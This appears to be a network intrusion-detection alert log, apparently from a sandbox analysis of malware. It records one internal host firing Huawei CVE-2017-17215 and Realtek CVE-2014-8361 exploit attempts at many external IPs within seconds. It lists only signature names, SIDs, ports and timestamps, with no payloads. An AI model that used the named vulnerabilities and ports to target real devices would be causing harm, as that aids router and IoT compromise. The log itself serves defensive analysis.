Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.83.157.193

Timestamp:	07/20/24-23:10:40.649804
SID:	2829579
Source Port:	52060
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 61.200.31.129

Timestamp:	07/20/24-23:10:46.940043
SID:	2025132
Source Port:	39288
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.139.30.10

Timestamp:	07/20/24-23:11:03.402557
SID:	2829579
Source Port:	52402
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 12.15.153.124

Timestamp:	07/20/24-23:10:43.899907
SID:	2027339
Source Port:	60860
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.249.144.129

Timestamp:	07/20/24-23:11:03.368250
SID:	2835222
Source Port:	36888
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.130.106.175

Timestamp:	07/20/24-23:10:39.430692
SID:	2829579
Source Port:	58302
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 103.118.11.148

Timestamp:	07/20/24-23:10:52.006529
SID:	2027339
Source Port:	34324
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 217.55.96.198

Timestamp:	07/20/24-23:10:52.598915
SID:	2835222
Source Port:	47522
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.137.59.221

Timestamp:	07/20/24-23:11:06.706527
SID:	2829579
Source Port:	55676
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.109.172.235

Timestamp:	07/20/24-23:10:39.469559
SID:	2835222
Source Port:	43856
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 86.217.29.78

Timestamp:	07/20/24-23:10:47.923877
SID:	2025132
Source Port:	59786
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 48.171.160.205

Timestamp:	07/20/24-23:10:47.624071
SID:	2025132
Source Port:	35990
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 183.71.151.25

Timestamp:	07/20/24-23:11:03.382352
SID:	2829579
Source Port:	37246
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 5.162.60.136

Timestamp:	07/20/24-23:10:42.619618
SID:	2027339
Source Port:	47392
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 184.222.40.221

Timestamp:	07/20/24-23:10:39.497131
SID:	2829579
Source Port:	33952
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 57.98.148.229

Timestamp:	07/20/24-23:10:51.940105
SID:	2831300
Source Port:	45534
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 46.156.254.69

Timestamp:	07/20/24-23:10:51.966762
SID:	2831300
Source Port:	34962
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.205.90.145

Timestamp:	07/20/24-23:10:56.007995
SID:	2829579
Source Port:	39892
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 185.140.178.36

Timestamp:	07/20/24-23:10:47.580964
SID:	2025132
Source Port:	49796
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.202.234.239

Timestamp:	07/20/24-23:10:46.809208
SID:	2835222
Source Port:	57318
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.179.65.72

Timestamp:	07/20/24-23:10:55.979374
SID:	2835222
Source Port:	49654
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 141.79.176.187

Timestamp:	07/20/24-23:10:42.248391
SID:	2835222
Source Port:	45914
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.96.146.83

Timestamp:	07/20/24-23:10:49.445760
SID:	2835222
Source Port:	44468
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.127.119.138

Timestamp:	07/20/24-23:10:41.222356
SID:	2829579
Source Port:	46766
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.1.29.38

Timestamp:	07/20/24-23:10:39.485535
SID:	2829579
Source Port:	52820
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 120.36.165.204

Timestamp:	07/20/24-23:10:59.046417
SID:	2829579
Source Port:	55106
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 1.209.39.62

Timestamp:	07/20/24-23:10:44.589945
SID:	2027339
Source Port:	35676
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 12.48.52.3

Timestamp:	07/20/24-23:10:49.370142
SID:	2835222
Source Port:	54374
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 161.174.65.14

Timestamp:	07/20/24-23:10:43.534202
SID:	2027339
Source Port:	41482
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 104.87.188.192

Timestamp:	07/20/24-23:10:52.021884
SID:	2831300
Source Port:	41142
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.172.226.166

Timestamp:	07/20/24-23:11:03.406798
SID:	2835222
Source Port:	53718
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.197.250.97

Timestamp:	07/20/24-23:10:52.569477
SID:	2835222
Source Port:	46682
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.57.221.248

Timestamp:	07/20/24-23:10:42.263488
SID:	2835222
Source Port:	55546
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.74.90.50

Timestamp:	07/20/24-23:10:49.355429
SID:	2829579
Source Port:	46198
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 162.136.177.252

Timestamp:	07/20/24-23:10:51.926807
SID:	2027339
Source Port:	47144
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.237.160.19

Timestamp:	07/20/24-23:11:06.676715
SID:	2829579
Source Port:	55764
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 181.65.248.166

Timestamp:	07/20/24-23:10:51.970585
SID:	2831300
Source Port:	49244
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 99.157.121.99

Timestamp:	07/20/24-23:11:06.678578
SID:	2835222
Source Port:	44228
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.54.12.174

Timestamp:	07/20/24-23:10:41.227634
SID:	2835222
Source Port:	36952
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 122.79.202.98

Timestamp:	07/20/24-23:10:44.354826
SID:	2027339
Source Port:	39302
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 222.252.7.7

Timestamp:	07/20/24-23:10:52.045896
SID:	2027339
Source Port:	59166
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.234.79.175

Timestamp:	07/20/24-23:10:41.221879
SID:	2829579
Source Port:	45168
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.176.210.11

Timestamp:	07/20/24-23:10:40.604940
SID:	2829579
Source Port:	33838
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.1.217.148

Timestamp:	07/20/24-23:10:39.492375
SID:	2835222
Source Port:	47548
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 18.33.239.61

Timestamp:	07/20/24-23:10:52.062286
SID:	2831300
Source Port:	44964
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 204.13.73.202

Timestamp:	07/20/24-23:10:39.160044
SID:	2025132
Source Port:	43136
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 223.235.87.4

Timestamp:	07/20/24-23:10:51.925000
SID:	2027339
Source Port:	41174
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 65.58.210.176

Timestamp:	07/20/24-23:10:42.620951
SID:	2027339
Source Port:	49268
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 209.118.30.87

Timestamp:	07/20/24-23:10:59.057855
SID:	2829579
Source Port:	38322
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 92.216.196.59

Timestamp:	07/20/24-23:10:51.906948
SID:	2027339
Source Port:	39540
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.67.9.68

Timestamp:	07/20/24-23:10:58.998725
SID:	2835222
Source Port:	53324
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.169.76.138

Timestamp:	07/20/24-23:10:39.479939
SID:	2835222
Source Port:	47244
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.174.190.33

Timestamp:	07/20/24-23:10:40.649804
SID:	2829579
Source Port:	50210
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 163.51.19.31

Timestamp:	07/20/24-23:10:52.029204
SID:	2027339
Source Port:	57576
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 43.91.208.66

Timestamp:	07/20/24-23:10:43.798813
SID:	2025132
Source Port:	52460
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 206.250.243.12

Timestamp:	07/20/24-23:10:51.948284
SID:	2027339
Source Port:	36802
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 61.53.244.138

Timestamp:	07/20/24-23:10:42.621913
SID:	2027339
Source Port:	43568
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.172.70.43

Timestamp:	07/20/24-23:10:46.809208
SID:	2835222
Source Port:	55852
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 41.19.211.55

Timestamp:	07/20/24-23:10:44.722530
SID:	2025132
Source Port:	35276
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.172.222.139

Timestamp:	07/20/24-23:10:41.227589
SID:	2829579
Source Port:	56374
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 181.65.248.166

Timestamp:	07/20/24-23:10:44.656962
SID:	2025132
Source Port:	47780
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 80.66.53.41

Timestamp:	07/20/24-23:10:39.400634
SID:	2025132
Source Port:	60644
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 69.83.208.136

Timestamp:	07/20/24-23:10:49.447315
SID:	2829579
Source Port:	54176
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.82.70.179

Timestamp:	07/20/24-23:10:46.755097
SID:	2829579
Source Port:	49986
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 13.188.140.147

Timestamp:	07/20/24-23:10:51.984756
SID:	2027339
Source Port:	52876
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.157.154.207

Timestamp:	07/20/24-23:11:03.361095
SID:	2835222
Source Port:	40162
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 110.110.225.230

Timestamp:	07/20/24-23:10:41.234520
SID:	2835222
Source Port:	37580
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 109.87.123.124

Timestamp:	07/20/24-23:10:43.548227
SID:	2025132
Source Port:	48170
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.155.165.246

Timestamp:	07/20/24-23:10:52.581035
SID:	2835222
Source Port:	49338
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 131.14.103.148

Timestamp:	07/20/24-23:10:41.220534
SID:	2829579
Source Port:	57506
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 122.72.16.198

Timestamp:	07/20/24-23:10:42.255257
SID:	2829579
Source Port:	47454
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.90.146.20

Timestamp:	07/20/24-23:11:03.309500
SID:	2835222
Source Port:	40228
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.121.119.14

Timestamp:	07/20/24-23:11:03.371424
SID:	2829579
Source Port:	37732
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.93.7.148

Timestamp:	07/20/24-23:10:59.027427
SID:	2829579
Source Port:	45774
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 20.223.23.215

Timestamp:	07/20/24-23:10:44.714243
SID:	2027339
Source Port:	36958
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.72.2.21

Timestamp:	07/20/24-23:10:59.011093
SID:	2829579
Source Port:	57184
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 80.162.152.76

Timestamp:	07/20/24-23:10:49.430121
SID:	2835222
Source Port:	48564
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.37.115.131

Timestamp:	07/20/24-23:10:52.592459
SID:	2829579
Source Port:	45260
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.31.242.46

Timestamp:	07/20/24-23:10:41.231287
SID:	2835222
Source Port:	47704
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 61.53.244.138

Timestamp:	07/20/24-23:10:42.621913
SID:	2831300
Source Port:	43568
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.122.22.46

Timestamp:	07/20/24-23:10:41.224086
SID:	2829579
Source Port:	36266
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.147.221.134

Timestamp:	07/20/24-23:11:06.679232
SID:	2829579
Source Port:	60106
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 77.64.253.97

Timestamp:	07/20/24-23:10:42.622796
SID:	2027339
Source Port:	47270
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 209.16.225.185

Timestamp:	07/20/24-23:10:52.047769
SID:	2831300
Source Port:	47028
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 166.169.25.66

Timestamp:	07/20/24-23:10:51.900424
SID:	2831300
Source Port:	47478
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.226.143.7

Timestamp:	07/20/24-23:10:56.030930
SID:	2835222
Source Port:	41276
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.57.209.81

Timestamp:	07/20/24-23:10:49.377082
SID:	2835222
Source Port:	47626
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.244.98.22

Timestamp:	07/20/24-23:11:03.406798
SID:	2835222
Source Port:	57586
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.70.99.46

Timestamp:	07/20/24-23:10:46.810541
SID:	2835222
Source Port:	59880
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.118.142.72

Timestamp:	07/20/24-23:10:41.228259
SID:	2835222
Source Port:	35100
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.243.22.191

Timestamp:	07/20/24-23:11:03.396634
SID:	2835222
Source Port:	35510
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 60.113.117.170

Timestamp:	07/20/24-23:10:44.728946
SID:	2027339
Source Port:	42026
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.214.195.83

Timestamp:	07/20/24-23:10:41.221879
SID:	2835222
Source Port:	54730
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 93.87.50.30

Timestamp:	07/20/24-23:10:47.818407
SID:	2025132
Source Port:	52400
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 73.153.13.203

Timestamp:	07/20/24-23:10:46.829468
SID:	2829579
Source Port:	38208
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 204.240.204.242

Timestamp:	07/20/24-23:10:58.998725
SID:	2835222
Source Port:	38064
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.215.250.254

Timestamp:	07/20/24-23:10:41.230206
SID:	2829579
Source Port:	51478
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.167.165.206

Timestamp:	07/20/24-23:11:06.657863
SID:	2829579
Source Port:	54996
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 35.138.127.168

Timestamp:	07/20/24-23:11:03.352491
SID:	2835222
Source Port:	46900
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 208.102.27.6

Timestamp:	07/20/24-23:10:39.177644
SID:	2025132
Source Port:	38954
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 44.121.163.52

Timestamp:	07/20/24-23:10:39.486941
SID:	2835222
Source Port:	34876
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

